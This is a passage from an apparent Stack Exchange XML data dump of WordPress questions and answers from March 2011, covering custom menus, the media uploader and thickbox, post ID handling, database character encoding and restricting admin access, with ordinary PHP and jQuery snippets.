media-uploader/thickbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me, to find the mistake? Any help is aprreciated!&lt;/p&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-03-05T18:20:05.503" LastActivityDate="2011-04-08T07:27:01.543" Title="How to get the image-URL from Media-Upload in a post?" Tags="&lt;images&gt;&lt;jquery&gt;&lt;custom-field&gt;&lt;thickbox&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="11236" PostTypeId="2" ParentId="11222" CreationDate="2011-03-05T12:50:35.017" Score="4" ViewCount="" Body="&lt;p&gt;To remove the Comments menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'my_remove_admin_menus' );&#xA;function my_remove_admin_menus() {&#xA;    remove_menu_page( 'edit-comments.php' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-03-05T12:50:35.017" CommentCount="1" />
  <row Id="11237" PostTypeId="1" AcceptedAnswerId="11253" CreationDate="2011-03-05T12:56:03.170" Score="0" ViewCount="239" Body="&lt;p&gt;I am trying to use the wordpress menu setup and have a working horizontal menu with a drop down submenu. Unfortunately the sub enu is quite long so I wanted to split it into columns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do it if I hardcode the menu into header.php but that means I have to add new items rather than letting the client do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a parred down version of what I am trying to achieve &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;headermenucss&quot;&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;topnav&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;home.html&quot; class=&quot;home&quot;&amp;gt;home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;about.html&quot; class=&quot;home&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;sub&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;services.html&quot;&amp;gt;Services&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;products.html&quot;&amp;gt;Products&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;terms.html&quot;&amp;gt;Terms&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;privacy.html&quot;&amp;gt;Privacy Policy&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;staff.html&quot;&amp;gt;Staff&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;vacancies.html&quot;&amp;gt;Vacancies&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;clients.html&quot; class=&quot;home&quot;&amp;gt;clients&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;media_centre.html&quot; class=&quot;home&quot;&amp;gt;media centre&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;contact_us.html&quot; class=&quot;home&quot;&amp;gt;contact us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;sitemap.html&quot; class=&quot;home&quot;&amp;gt;site map&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;   &#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I need to do is to be able to loop through the child items and add in the  etc as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips, advice or anyone done this before?? TIA&lt;/p&gt;&#xA;" OwnerUserId="3732" LastActivityDate="2011-04-04T19:39:20.987" Title="nav-menu-template and columns in sub menu" Tags="&lt;custom-menus&gt;&lt;3.0.1&gt;" AnswerCount="1" />
  <row Id="11238" PostTypeId="1" AcceptedAnswerId="11240" CreationDate="2011-03-05T13:57:35.100" Score="0" ViewCount="375" Body="&lt;p&gt;Just playing around with adding &quot;custom menu&quot; support to my theme. I'm super excited about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out &gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;menu-my-main-menu&quot; class=&quot;menu&quot;&amp;gt;&#xA;  &amp;lt;li id=&quot;menu-item-12&quot; &#xA;      class=&quot;menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-12&quot;&amp;gt;&#xA;      &amp;lt;a href=&quot;http://localhost/bizsite&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worst case of &quot;class-itus&quot; I think I've ever seen. Is this something &quot;I&quot; did unintentionally or is this the default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I control or remove the class attribs on these menus?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-04T10:13:38.767" Title="How to remove class attributes from custom menu markup?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="11239" PostTypeId="2" ParentId="11231" CreationDate="2011-03-05T14:03:32.253" Score="0" ViewCount="" Body="&lt;p&gt;For simple return values you don’t need a lot of extra functions. There is the handy &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_filter&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_filter()&lt;/code&gt;&lt;/a&gt;. You can use that inside of your own functions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Filter System From Mail&#xA;Description: Sets the WP from mail address to the first admin’s mail and the from name to blog name.&#xA;Version:     1.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL&#xA;*/&#xA;&#xA;if ( ! function_exists( 'filter_system_from_mail' ) )&#xA;{&#xA;    /**&#xA;     * First admin's e-mail address or blog name depending on current filter.&#xA;     *&#xA;     * @return string&#xA;     */&#xA;    function filter_system_from_mail()&#xA;    {&#xA;        return get_option( 'wp_mail_from' == current_filter()&#xA;            ? 'admin_email' : 'blogname' );&#xA;    }&#xA;&#xA;    add_filter( 'wp_mail_from',      'filter_system_from_mail' );&#xA;    add_filter( 'wp_mail_from_name', 'filter_system_from_mail' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or … did I misread your question?&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-05T14:03:32.253" CommentCount="1" />
  <row Id="11240" PostTypeId="2" ParentId="11238" CreationDate="2011-03-05T14:09:24.397" Score="3" ViewCount="" Body="&lt;p&gt;You can use the &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter to remove the classes that you want from your menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the example below, to remove ALL the CSS classes that are appended to you menu items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class','remove_nav_menu_classes');&#xA;function remove_nav_menu_classes($classes) {&#xA;    return array(); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do a &lt;code&gt;print_r($classes)&lt;/code&gt; if you want to know which classes are active in your menu.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T10:13:38.767" LastActivityDate="2011-05-04T10:13:38.767" CommentCount="6" />
  <row Id="11241" PostTypeId="1" AcceptedAnswerId="11246" CreationDate="2011-03-05T14:10:31.717" Score="0" ViewCount="192" Body="&lt;p&gt;I've asked a question about listing all sub-pages before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11091/listing-all-sub-pages&quot;&gt;Listing all sub-pages?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all the questions were wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I have now simpler question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;echo $post&amp;gt;ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works totally fine, but while on pages sidebars only. When it's next to the blog loop (in a blog section) it goes crazy, for example Blog has ID of 216 (and $post&gt;ID in loop.php shows 216), but the $post&gt;ID in the sidebar shows 87. Why is this happening? How to fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a suspicion that loop and sidebar are both included in index page separately and loop is getting different post ID than sidebar. The big question is how to change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit for Rarst]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_reset_postdata();&#xA;&#xA;                global $post;&#xA;&#xA;                $children = wp_list_pages('title_li=&amp;amp;child_of='.$post-&amp;gt;ID.'&amp;amp;echo=0');&#xA;                echo $children;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives the same result. It works with pages, not blog. I have a normal loop, as like in Twenty Ten for example.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-05T14:29:03.407" LastActivityDate="2011-03-05T15:54:23.113" Title="$post&gt;ID displays wrong post ID" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;posts&gt;&lt;loop&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="11242" PostTypeId="2" ParentId="11241" CreationDate="2011-03-05T14:22:03.273" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$post&lt;/code&gt; changes every time &lt;code&gt;the_post()&lt;/code&gt; or &lt;code&gt;setup_postdata()&lt;/code&gt; are used - which is in most of the loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;wp_reset_postdata()&lt;/code&gt; to kick it back to original data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post&lt;/code&gt; holds data of &lt;strong&gt;individual&lt;/strong&gt; post, set up during the Loop. It makes no sense to use it out of that context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To process multiple pages you need to query for them (with &lt;code&gt;get_pages()&lt;/code&gt; for example) and work with that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-05T14:42:21.887" LastActivityDate="2011-03-05T14:42:21.887" CommentCount="1" />
  <row Id="11243" PostTypeId="2" ParentId="11168" CreationDate="2011-03-05T14:59:28.250" Score="-1" ViewCount="" Body="&lt;p&gt;Sorted for anyone else wanting to do this the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; null,&#xA;    ); &#xA;$attachments = get_posts( $args );&#xA;&#xA;foreach ( $attachments as $attachment ) {&#xA;&#xA;    if ($attachment-&amp;gt;post_title == $programme) {&#xA;            echo wp_get_attachment_link($attachment-&amp;gt;ID, 'thumbnail', false, false);&#xA;            break;&#xA;        }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-05T14:59:28.250" />
  <row Id="11244" PostTypeId="1" CreationDate="2011-03-05T15:15:29.987" Score="0" ViewCount="450" Body="&lt;p&gt;How would we restrict access to the WP admin area to all users except admins. The users on our site have their own profile pages which do all the functions they need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So admin should be off limits to all except admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-08-03T09:37:36.177" Title="WP Admin restrict access to Admin only" Tags="&lt;wp-admin&gt;&lt;users&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="11245" PostTypeId="2" ParentId="11235" CreationDate="2011-03-05T15:38:50.280" Score="1" ViewCount="" Body="&lt;p&gt;I did something similar for a theme settings page i helped someone with, it looked a little different to what you have, but i'm going to post the code so you can compare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery:&lt;/strong&gt;&lt;br&gt;&#xA;Literally just the applicable parts taken from a working script i've used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;    $('img.font').click(function() {    &#xA;        form_field = $(this).next().next('input'); &#xA;        tb_show('', 'media-upload.php?tab=type&amp;amp;from=t31os&amp;amp;post_id=0&amp;amp;TB_iframe=true');&#xA;        return false;&#xA;    })&#xA;    .hover(function() {&#xA;        $(this).css({'cursor':'pointer'});&#xA;    }); &#xA;&#xA;    window.send_to_editor = function(html) {&#xA;        media_url = $(html).attr('href');&#xA;        tb_remove();&#xA;        $(form_field).val(media_url);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case i had an image that trigeered the upload window, and passed back the value when the user clicked the &lt;strong&gt;Insert into settings&lt;/strong&gt; field button(see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that firstly there's a post ID passed in the media upload request, you should need this in order to see an &lt;strong&gt;Insert into post&lt;/strong&gt; button in the window. Secondly there's an additional request parameter &lt;code&gt;from=t31os&lt;/code&gt;, this allows me to selectively change the &lt;strong&gt;Insert into Post&lt;/strong&gt; text, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'change_insert_into_post', null, 2 );&#xA;function change_insert_into_post( $translation, $original ) {&#xA;    if( !isset( $_REQUEST['from'] ) )&#xA;        return $translation;&#xA;&#xA;    if( $_REQUEST['from'] == 't31os' &amp;amp;&amp;amp; $original == 'Insert into Post' )&#xA;        return 'Insert into settings field';&#xA;&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Follow-up from comments:&lt;/strong&gt;&lt;br&gt;&#xA;Here's some images of the provided code working inside my theme options page(the arrow is my image to trigger the uploader).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XEaKm.png&quot; alt=&quot;The field&quot;&gt;&lt;br&gt;&#xA;The field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rNkzs.png&quot; alt=&quot;The uploader window&quot;&gt;&lt;br&gt;&#xA;The uploader window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KgowU.png&quot; alt=&quot;The result&quot;&gt;&lt;br&gt;&#xA;The result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice i didn't bother with the gettext filter, and that's simply because it's not integral to the code functionality(that's a personal touch and makes no difference here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you correctly enqueued the necessary scripts? Namingly &lt;code&gt;media-upload&lt;/code&gt; and &lt;code&gt;thickbox&lt;/code&gt;, along with the thickbox stylesheet.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-05T17:21:02.153" LastActivityDate="2011-03-05T17:21:02.153" CommentCount="6" />
  <row Id="11246" PostTypeId="2" ParentId="11241" CreationDate="2011-03-05T15:54:23.113" Score="1" ViewCount="" Body="&lt;p&gt;If i understand correctly you are trying to display a list of child pages of a page in a widget, if so then first check if you are on a page using the conditional tag &lt;code&gt;is_page()&lt;/code&gt;&#xA;then  you can use $wp_query-&gt;get_queried_object_id() like t31os has pointed out so your widget display function should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page()){&#xA;    Global $wp_query;&#xA;    $current_page_id = $wp_query-&amp;gt;get_queried_object_id();&#xA;    $children = wp_list_pages('title_li=&amp;amp;child_of='.$current_page_id.'&amp;amp;echo=0');&#xA;    echo $children;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So only if you are on a page this code will run&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-05T15:54:23.113" CommentCount="3" />
  <row Id="11247" PostTypeId="1" AcceptedAnswerId="11263" CreationDate="2011-03-05T16:38:06.290" Score="1" ViewCount="153" Body="&lt;p&gt;I recently moved my WordPress-based site from DreamHost VPS to a Linode VPS running Debian + LEMP. After getting the site up again, I noticed many erroneous characters in posts; characters like &quot; and - were being replaced with gibberish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing some looking, it seemed clear that the issue was something related to character encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a guide that suggested editing &lt;code&gt;wp-config.php&lt;/code&gt; and commenting out the lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('DB_CHARSET', 'utf8');&lt;/code&gt; and &lt;code&gt;define('DB_COLLATE', '');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this and it fixed the problem, but I'm wondering if that was the best way to go about it. Thank you for any advice.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:36:52.460" LastActivityDate="2011-06-07T14:36:52.460" Title="Character encoding issue after changing servers" Tags="&lt;server&gt;&lt;wp-config&gt;&lt;encoding&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11248" PostTypeId="1" CreationDate="2011-03-05T16:45:24.133" Score="4" ViewCount="182" Body="&lt;p&gt;This seems so simple that I'm tearing my hair out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add a page with a map showing all the posts with a particular tag. I want each marker to pop up with the title and the preview, allowing the visitor to click through and read the full post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want to be able to use an OpenStreetMap map as the background instead of Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look at geopress, geomashup, wpgeo and osm. They are all either low quality or lacking a key feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" LastActivityDate="2011-07-11T22:20:41.813" Title="Best way to show map of tagged posts?" Tags="&lt;tags&gt;&lt;geo-data&gt;&lt;map&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="11249" PostTypeId="1" CreationDate="2011-03-05T17:03:45.657" Score="0" ViewCount="353" Body="&lt;p&gt;Struggling with this code, the conditions work, the only way I can get the wp_get_attachment_url is to loop through it but then this outputs as many images from the media library and I only want one?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;tvimage&quot;&amp;gt;&#xA;  &amp;lt;?php&#xA;    if ($imgurlbase != '' ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $imgurlbase . $imgfromtv; ?&amp;gt;&amp;amp;h=62&amp;amp;w=75&quot; alt=&quot;&amp;lt;?php echo $programme; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php } elseif ($imgurlbase == '' ) { ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'numberposts' =&amp;gt; -1,&#xA;        'post_status' =&amp;gt; null,&#xA;        'post_parent' =&amp;gt; null,&#xA;        ); &#xA;    $attachments = get_posts( $args );&#xA;&#xA;&#xA;                foreach ( $attachments as $attachment ) {&#xA;&#xA;                    if ($attachment-&amp;gt;post_title == $programme) {&#xA;                            echo wp_get_attachment_url($attachment-&amp;gt;ID);&#xA;                        }&#xA;                    else {&#xA;                    echo '&amp;lt;img src=&quot;';&#xA;                    echo bloginfo('template_url');&#xA;                    echo '/images/nontvimg.jpg&quot; alt=&quot;no tv image&quot; /&amp;gt;';&#xA;                    }&#xA;&#xA;                }&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-09-02T01:38:58.010" Title="Get an image from the media library. Struggling with the code?" Tags="&lt;attachments&gt;&lt;image&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="11" />
  <row Id="11250" PostTypeId="2" ParentId="11247" CreationDate="2011-03-05T17:34:19.737" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Converting_Database_Character_Sets&quot; rel=&quot;nofollow&quot;&gt;Converting Database Character Sets&lt;/a&gt; in Codex. Article has note about being completely rewritten at 3.0.1 version so info should be up to date.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-05T17:34:19.737" CommentCount="1" />
  <row Id="11251" PostTypeId="2" ParentId="11244" CreationDate="2011-03-05T17:38:56.567" Score="1" ViewCount="" Body="&lt;p&gt;Try the adminimize plugin. &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt;&#xA;You can lock things down pretty well with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try setting access up through htaccess file.&#xA;&lt;a href=&quot;http://www.google.com/#sclient=psy&amp;amp;hl=en&amp;amp;q=using+htaccess+to+protect+a+directory&amp;amp;aq=2&amp;amp;aqi=g4g-o1&amp;amp;aql=f&amp;amp;oq=&amp;amp;pbx=1&amp;amp;bav=on.2,or.&amp;amp;fp=b74a227c0bae400b&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/#sclient=psy&amp;amp;hl=en&amp;amp;q=using+htaccess+to+protect+a+directory&amp;amp;aq=2&amp;amp;aqi=g4g-o1&amp;amp;aql=f&amp;amp;oq=&amp;amp;pbx=1&amp;amp;bav=on.2,or.&amp;amp;fp=b74a227c0bae400b&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3739" LastEditorUserId="2606" LastEditorDisplayName="" LastEditDate="2011-03-06T07:52:12.660" LastActivityDate="2011-03-06T07:52:12.660" />
  <row Id="11252" PostTypeId="2" ParentId="11231" CreationDate="2011-03-05T17:42:15.110" Score="3" ViewCount="" Body="&lt;p&gt;For simple cases like quick one-liner returns one should remember that it's possible to hook an anonymous function directly in the add filter call, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('some_filter_hook', function($v){return str_replace('..', '.', $v);});&#xA;&#xA;add_action('some_action_hook', function(){echo '....';});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-05T17:42:15.110" CommentCount="2" />
  <row Id="11253" PostTypeId="2" ParentId="11237" CreationDate="2011-03-05T17:51:34.857" Score="0" ViewCount="" Body="&lt;p&gt;I think it would be easier for you if you'd stick with the old menu output and used css to emulate your submenu columns. You can left-float the elements in your submenu (while giving them an appropriate with - e.g. 33% for 3 columns), which sorts them horizontally rather than vertically, but otherwise will give you a column-like effect.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-05T17:51:34.857" CommentCount="3" />
  <row Id="11254" PostTypeId="2" ParentId="11235" CreationDate="2011-03-05T17:57:56.400" Score="0" ViewCount="" Body="&lt;p&gt;I hate it to answer my own question.&#xA;But after hours of searching and trying I found a solution that works. I offer this solution, because it can't be interesting for others having the same problem. And for discussion, if there is a better way to get rid of the problem. Perhaps it is not very elegant, but it works ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The peak is to change the &lt;code&gt;click&lt;/code&gt;-event for the &quot;Insert into Post&quot;-Button in the ThickBox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&#xA;Because the code worked only for ONE image in the library I had cto chnge the line in the &lt;code&gt;click&lt;/code&gt;-function. Now it works with more then one picture&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  //change click event for insert into post&#xA;  (function(){ &#xA;var tb_show_temp = window.tb_show; &#xA;window.tb_show = function() { &#xA;  tb_show_temp.apply(null, arguments); &#xA;  var iframe = jQuery('#TB_iframeContent');&#xA;  iframe.load(function() {&#xA;    var iframeDoc = iframe[0].contentWindow.document;&#xA;    var iframeJQuery = iframe[0].contentWindow.jQuery;&#xA;    var buttonContainer = iframeJQuery('td.savesend');&#xA;    if (buttonContainer) {&#xA;      var btnSubmit = jQuery('input:submit', buttonContainer);&#xA;      iframeJQuery(btnSubmit).click(function(){&#xA;        fldID = jQuery(this).attr('id').replace('send', '').replace('[', '').replace(']', '');&#xA;        var imgurl = iframeJQuery('input[name=&quot;attachments\\['+fldID+'\\]\\[url\\]&quot;]').val();&#xA;        jQuery('#_meta_fotos\\[pic\\]').val(imgurl);&#xA;        jQuery('#picPreview').attr('src', imgurl);&#xA;        tb_remove();&#xA;      });&#xA;    }&#xA;  });&#xA;   }&#xA;  })()&#xA;//open uploader&#xA;jQuery('#_meta_fotos\\[pic\\]').focusin(function() {&#xA;formfield = jQuery('#_meta_fotos\\[pic\\]').attr('name');&#xA;tb_show('Use pictures', 'media-upload.php?type=image&amp;amp;amp;tab=library&amp;amp;amp;TB_iframe=1');&#xA;return false;&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="3550" LastEditorDisplayName="" LastEditDate="2011-03-05T19:22:45.390" LastActivityDate="2011-03-05T19:22:45.390" />
  <row Id="11255" PostTypeId="2" ParentId="128" CreationDate="2011-03-05T18:59:53.707" Score="0" ViewCount="" Body="&lt;p&gt;I find that there are 4 really nice plugins that instantly turn my site into a nice CMS;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Fields&#xA;More Taxonomies&#xA;and Custom Post Type UI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use Gravity Forms for user-input and then one just needs to add the structures and make it pretty!&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-03-05T18:59:53.707" CommunityOwnedDate="2011-03-05T18:59:53.707" />
  <row Id="11256" PostTypeId="2" ParentId="8811" CreationDate="2011-03-05T19:18:14.880" Score="3" ViewCount="" Body="&lt;p&gt;See the follow-up post: &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/sortable-taxonomy-columns.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-05T19:18:14.880" CommentCount="2" />
  <row Id="11257" PostTypeId="1" AcceptedAnswerId="12220" CreationDate="2011-03-05T19:53:44.460" Score="0" ViewCount="164" Body="&lt;p&gt;I'm trying to change the permalinks to my attachments in the same way as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2133/changing-attachment-urls&quot;&gt;this question&lt;/a&gt;, and the given solution works great except for one problem: if the permalinks settings on my site contain %category%, the solution doesn't work at all and I get a &quot;This page isn't redirecting properly&quot; error. The only way I can get this solution to work properly is by using the provided &quot;Day and Name&quot;, &quot;Month and Name&quot;, and &quot;Numeric&quot; permalink settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I add to the solution so that still use %category% in my custom permalink settings?&lt;/p&gt;&#xA;" OwnerUserId="3738" LastActivityDate="2011-03-16T15:18:29.633" Title="How do I rewrite attachment urls when permalink structure contains %category%?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;attachments&gt;" AnswerCount="1" />
